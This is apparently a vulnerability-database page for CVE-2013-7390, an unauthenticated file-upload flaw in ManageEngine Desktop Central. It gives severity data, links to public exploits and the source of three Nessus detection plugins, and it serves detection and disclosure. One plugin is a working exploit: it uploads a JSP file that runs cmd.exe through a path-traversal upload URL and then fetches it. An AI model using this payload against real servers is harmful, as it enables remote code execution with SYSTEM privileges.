Vulnerabilities > CVE-2013-7390 - Unrestricted Upload of File with Dangerous Type vulnerability in Zohocorp Manageengine Desktop Central 7.0.0/7.0.1/8.0.0
Attack vector
NETWORK Attack complexity
LOW Privileges required
NONE Confidentiality impact
HIGH Integrity impact
HIGH Availability impact
HIGH Summary
Unrestricted file upload vulnerability in AgentLogUploadServlet in ManageEngine DesktopCentral 7.x and 8.0.0 before build 80293 allows remote attackers to execute arbitrary code by uploading a file with a jsp extension, then accessing it via a direct request to the file in the webroot.
Vulnerable Configurations
Part | Description | Count |
---|---|---|
Application | 3 |
Common Weakness Enumeration (CWE)
Common Attack Pattern Enumeration and Classification (CAPEC)
- Accessing Functionality Not Properly Constrained by ACLs In applications, particularly web applications, access to functionality is mitigated by the authorization framework, whose job it is to map ACLs to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application or can run queries for data that he is otherwise not supposed to.
- Privilege Abuse An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources. If access control mechanisms are absent or misconfigured, a user may be able to access resources that are intended only for higher level users. An adversary may be able to exploit this to utilize a less trusted account to gain information and perform activities reserved for more trusted accounts. This attack differs from privilege escalation and other privilege stealing attacks in that the adversary never actually escalates their privileges but instead is able to use a lesser degree of privilege to access resources that should be (but are not) reserved for higher privilege accounts. Likewise, the adversary does not exploit trust or subvert systems - all control functionality is working as configured but the configuration does not adequately protect sensitive resources at an appropriate level.
Exploit-Db
description ManageEngine Desktop Central - Arbitrary File Upload / RCE. CVE-2013-7390,CVE-2014-5005,CVE-2014-5006,CVE-2014-5007. Webapps exploit for jsp platform id EDB-ID:34518 last seen 2016-02-03 modified 2014-09-01 published 2014-09-01 reporter Pedro Ribeiro source https://www.exploit-db.com/download/34518/ title ManageEngine Desktop Central - Arbitrary File Upload / RCE description ManageEngine DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability. CVE-2013-7390,CVE-2014-5007. Webapps exploit for jsp platform id EDB-ID:29674 last seen 2016-02-03 modified 2013-11-18 published 2013-11-18 reporter Security-Assessment.com source https://www.exploit-db.com/download/29674/ title ManageEngine DesktopCentral 8.0.0 build < 80293 - Arbitrary File Upload Vulnerability description DesktopCentral AgentLogUpload Arbitrary File Upload. CVE-2013-7390,CVE-2014-5007. Remote exploit for windows platform id EDB-ID:29812 last seen 2016-02-03 modified 2013-11-25 published 2013-11-25 reporter metasploit source https://www.exploit-db.com/download/29812/ title DesktopCentral AgentLogUpload Arbitrary File Upload
Metasploit
description | This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to v8 build 80293. A malicious user can upload a JSP file into the web root without authentication, leading to arbitrary code execution as SYSTEM. |
id | MSF:EXPLOIT/WINDOWS/HTTP/DESKTOPCENTRAL_FILE_UPLOAD |
last seen | 2020-06-07 |
modified | 2018-09-15 |
published | 2013-11-18 |
references | |
reporter | Rapid7 |
source | https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/desktopcentral_file_upload.rb |
title | ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload |
Nessus
NASL family CGI abuses NASL id MANAGEENGINE_DESKTOP_CENTRAL_90055_RCE_SAFE.NASL description The version of ManageEngine Desktop Central running on the remote host is affected by the following file upload vulnerabilities that allow the execution of arbitrary code by a remote attacker : - A failure to validate the last seen 2020-06-01 modified 2020-06-02 plugin id 82079 published 2015-03-25 reporter This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/82079 title ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(82079); script_version("1.7"); script_cvs_date("Date: 2019/11/22"); script_cve_id("CVE-2014-5005", "CVE-2014-5006", "CVE-2014-5007"); script_bugtraq_id(69491, 69493, 69494); script_xref(name:"EDB-ID", value:"34594"); script_name(english:"ManageEngine Desktop Central Arbitrary File Upload and RCE (Safe Check)"); script_summary(english:"Checks the version of ManageEngine Desktop Central."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a Java web application that is affected by remote code execution vulnerabilities."); script_set_attribute(attribute:"description", value: "The version of ManageEngine Desktop Central running on the remote host is affected by the following file upload vulnerabilities that allow the execution of arbitrary code by a remote attacker : - A failure to validate the 'filename' parameter of the 'statusUpdate' servlet when performing a 'LFU' action. (CVE-2014-5005) - A failure to validate the 'filename' parameter of the 'mdmLogUploader' servlet. (CVE-2014-5006) - A failure to validate the 'filename' parameter of the 'agentLogUploader' servlet. This flaw was previously identified by CVE-2013-7390 and reported as fixed in version 8 build 80293; however, the fix was incomplete, and a method for bypassing it was discovered and re-reported. (CVE-2014-5007)"); script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-15-006/"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2014/Aug/88"); script_set_attribute(attribute:"solution", value: "Upgrade to ManageEngine Desktop Central 9 build 90055 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND"); script_set_attribute(attribute:"cvss_score_source", value:"CVE-2014-5006"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"d2_elliot_name", value:"ManageEngine Desktop Central 9.0.0 File Upload"); script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central StatusUpdate Arbitrary File Upload'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2014/08/31"); script_set_attribute(attribute:"patch_publication_date", value:"2014/08/08"); script_set_attribute(attribute:"plugin_publication_date", value:"2015/03/25"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2015-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("manageengine_desktop_central_detect.nbin"); script_require_keys("installed_sw/ManageEngine Desktop Central"); script_require_ports("Services/www", 8020, 8383, 8040); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); appname = "ManageEngine Desktop Central"; get_install_count(app_name:appname, exit_if_zero:TRUE); port = get_http_port(default:8020); install = get_single_install( app_name : appname, port : port, exit_if_unknown_ver : TRUE ); dir = install["path"]; version = install["version"]; build = install["build"]; ismsp = install["MSP"]; rep_version = version; if(build != UNKNOWN_VER) rep_version += " Build "+build; install_url = build_url(port:port, qs:dir); # 7 - 9 build 90055 if (version !~ "^[7-9](\.|$)") audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version); if (version =~ "^9(\.|$)" && build == UNKNOWN_VER) exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined."); if (int(build) < 90055) { if (report_verbosity > 0) { report = '\n URL : ' + install_url + '\n Installed version : ' + rep_version + '\n Fixed version : 9 Build 90055' + '\n'; security_hole(port:port, extra:report); } else security_hole(port); exit(0); } else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
NASL family CGI abuses NASL id MANAGEENGINE_DESKTOP_CENTRAL_BUILD_80292_FILE_UPLOAD.NASL description The version of ManageEngine Desktop Central installed on the remote host is affected by an arbitrary file upload vulnerability due to the last seen 2020-06-01 modified 2020-06-02 plugin id 71218 published 2013-12-04 reporter This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/71218 title ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(71218); script_version("1.11"); script_cvs_date("Date: 2019/11/27"); script_cve_id("CVE-2013-7390"); script_bugtraq_id(63784); script_xref(name:"EDB-ID", value:"29674"); script_xref(name:"EDB-ID", value:"29812"); script_name(english:"ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload"); script_summary(english:"Checks the build number of Desktop Central."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a Java web application that allows for arbitrary file uploads."); script_set_attribute(attribute:"description", value: "The version of ManageEngine Desktop Central installed on the remote host is affected by an arbitrary file upload vulnerability due to the 'AgentLogUploadServlet' script not properly sanitizing user-supplied input to the 'filename' parameter. A remote, unauthenticated attacker can exploit this issue to upload files containing arbitrary code and then execute them on the remote host with NT-AUTHORITY\SYSTEM privileges. Note that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number."); # http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f57da24d"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/130"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/152"); script_set_attribute(attribute:"solution", value: "Upgrade to ManageEngine Desktop Central 8.0.0 build 80293 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/18"); script_set_attribute(attribute:"patch_publication_date", value:"2013/10/30"); script_set_attribute(attribute:"plugin_publication_date", value:"2013/12/04"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central"); script_end_attributes(); script_category(ACT_GATHER_INFO); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("manageengine_desktop_central_detect.nbin"); script_require_keys("installed_sw/ManageEngine Desktop Central"); script_require_ports("Services/www", 8020, 8383); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); appname = "ManageEngine Desktop Central"; get_install_count(app_name:appname, exit_if_zero:TRUE); port = get_http_port(default:8020); install = get_single_install( app_name : appname, port : port, exit_if_unknown_ver : TRUE ); dir = install["path"]; version = install["version"]; build = install["build"]; ismsp = install["MSP"]; rep_version = version; if(build != UNKNOWN_VER) rep_version += " Build "+build; install_url = build_url(port:port, qs:dir); if(ismsp) exit(0, "The Managed Service Providers edition of Desktop Central is not known to be affected."); if (version =~ "^8(\.|$)" && build == UNKNOWN_VER) exit(0, "The build number of "+appname+" version " +rep_version+ " listening at " +install_url+ " could not be determined."); if (version =~ "^8(\.|$)" && int(build) < 80293) { if (report_verbosity > 0) { report = '\n URL : ' + install_url + '\n Installed version : ' + rep_version + '\n Fixed version : 8 Build 80293' + '\n'; security_hole(port:port, extra:report); } else security_hole(port); exit(0); } else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url, rep_version);
NASL family CGI abuses NASL id MANAGEENGINE_DESKTOP_CENTRAL_AGENTLOGUPLOADSERVLET_FILE_UPLOAD.NASL description The version of ManageEngine Desktop Central running on the remote host is affected by a remote code execution vulnerability due to a failure by the AgentLogUploadServlet script to properly sanitize user-supplied input to the last seen 2020-06-01 modified 2020-06-02 plugin id 71217 published 2013-12-04 reporter This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof. source https://www.tenable.com/plugins/nessus/71217 title ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check) code # # (C) Tenable Network Security, Inc. # include("compat.inc"); if (description) { script_id(71217); script_version("1.12"); script_cvs_date("Date: 2019/11/27"); script_cve_id("CVE-2013-7390"); script_bugtraq_id(63784); script_xref(name:"EDB-ID", value:"29674"); script_xref(name:"EDB-ID", value:"29812"); script_xref(name:"EDB-ID", value:"34518"); script_name(english:"ManageEngine Desktop Central AgentLogUploadServlet Arbitrary File Upload RCE (intrusive check)"); script_summary(english:"Uploads a file to execute arbitrary code."); script_set_attribute(attribute:"synopsis", value: "The remote web server contains a Java-based web application that is affected by a remote code execution vulnerability."); script_set_attribute(attribute:"description", value: "The version of ManageEngine Desktop Central running on the remote host is affected by a remote code execution vulnerability due to a failure by the AgentLogUploadServlet script to properly sanitize user-supplied input to the 'fileName' parameter. A remote, unauthenticated attacker can exploit this to upload to the remote host files containing arbitrary code and then execute them with NT-AUTHORITY\SYSTEM privileges. Note that this plugin tries to upload a JSP file to <DocumentRoot> (i.e., C:\ManageEngine\DesktopCentral_Server\webapps\DesktopCentral\) and then fetch it, thus executing the Java code in the JSP file. The plugin attempts to delete the JSP file after a successful upload and fetch. The user is advised to delete the JSP file if Nessus fails to delete it."); # http://security-assessment.com/files/documents/advisory/DesktopCentral%20Arbitrary%20File%20Upload.pdf script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?f57da24d"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/130"); script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2013/Nov/152"); script_set_attribute(attribute:"solution", value: "Upgrade to ManageEngine Desktop Central 8 build 80293 or later."); script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C"); script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:ND"); script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available"); script_set_attribute(attribute:"exploit_available", value:"true"); script_set_attribute(attribute:"exploited_by_nessus", value:"true"); script_set_attribute(attribute:"metasploit_name", value:'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload'); script_set_attribute(attribute:"exploit_framework_metasploit", value:"true"); script_set_attribute(attribute:"vuln_publication_date", value:"2013/11/09"); script_set_attribute(attribute:"patch_publication_date", value:"2013/10/30"); script_set_attribute(attribute:"plugin_publication_date", value:"2013/12/04"); script_set_attribute(attribute:"plugin_type", value:"remote"); script_set_attribute(attribute:"cpe", value:"cpe:/a:zohocorp:manageengine_desktop_central"); script_end_attributes(); script_category(ACT_DESTRUCTIVE_ATTACK); script_family(english:"CGI abuses"); script_copyright(english:"This script is Copyright (C) 2013-2019 and is owned by Tenable, Inc. or an Affiliate thereof."); script_dependencies("manageengine_desktop_central_detect.nbin", "os_fingerprint.nasl"); script_require_keys("installed_sw/ManageEngine Desktop Central"); script_require_ports("Services/www", 8020, 8383, 8040); exit(0); } include("audit.inc"); include("global_settings.inc"); include("misc_func.inc"); include("http.inc"); include("webapp_func.inc"); # ManageEngine Desktop Central (MEDC) server is known to be installed # on Windows only. # Skip non-Windows targets, but will continue if OS is not determined os = get_kb_item("Host/OS"); if(os && "windows" >!< tolower(os)) audit(AUDIT_OS_NOT, "Windows"); appname = "ManageEngine Desktop Central"; get_install_count(app_name:appname, exit_if_zero:TRUE); port = get_http_port(default:8020); install = get_single_install( app_name : appname, port : port ); dir = install["path"]; install_url = build_url(port:port, qs:dir); file = SCRIPT_NAME - ".nasl" + '-' + port + ".jsp"; postdata = '<%@ page import="java.io.*" %>\n' + '<%\n' + 'String output = "";\n' + 'String s = null;\n' + ' try {\n' + ' Process p = Runtime.getRuntime().exec("cmd.exe /C ipconfig /all && del ..\\\\webapps\\\\DesktopCentral\\\\' + file + '");\n' + ' BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));\n' + 'while((s = sI.readLine()) != null) {\n' + ' output += "\\n"+ s;\n' + '}\n' + '}\n' + 'catch(IOException e) {\n' + ' e.printStackTrace();\n' + '}\n' + '%>\n' + '\n' + '<pre>\n <%=output %>\n </pre>\n'; url = dir + "/agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=" + file; res = http_send_recv3( port : port, method : "POST", item : url, data : postdata, content_type : "text/html", exit_on_fail : TRUE ); # Vulnerable server should return 200 if(res[0] !~ "^HTTP/[0-9.]+ 200") { # Patched server returns 403 if (res[0] =~ "^HTTP/[0-9.]+ 403") { audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url); } # Unexpected else { audit(AUDIT_RESP_BAD, port, 'an agent log upload message, return HTTP status: ' + res[0]); } } req1 = http_last_sent_request(); # Try and access our uploaded file res2 = http_send_recv3( method : "GET", port : port, item : dir + "/" + file, exit_on_fail : TRUE ); req2 = http_last_sent_request(); if ("Subnet Mask" >< res2[2]) { security_report_v4( port : port, severity : SECURITY_HOLE, request : make_list(req1,req2), output : res2[2], generic : TRUE ); } else audit(AUDIT_WEB_APP_NOT_AFFECTED, "ManageEngine Desktop Central", install_url);
Packetstorm
data source | https://packetstormsecurity.com/files/download/128108/managedc-exec.txt |
id | PACKETSTORM:128108 |
last seen | 2016-12-05 |
published | 2014-08-31 |
reporter | Pedro Ribeiro |
source | https://packetstormsecurity.com/files/128108/ManageEngine-Desktop-Central-Remote-Shell-Upload.html |
title | ManageEngine Desktop Central Remote Shell Upload |
Seebug
bulletinFamily | exploit |
description | No description provided by source. |
id | SSV:87216 |
last seen | 2017-11-19 |
modified | 2014-09-04 |
published | 2014-09-04 |
reporter | Root |
source | https://www.seebug.org/vuldb/ssvid-87216 |
title | ManageEngine Desktop Central - Arbitrary File Upload / RCE |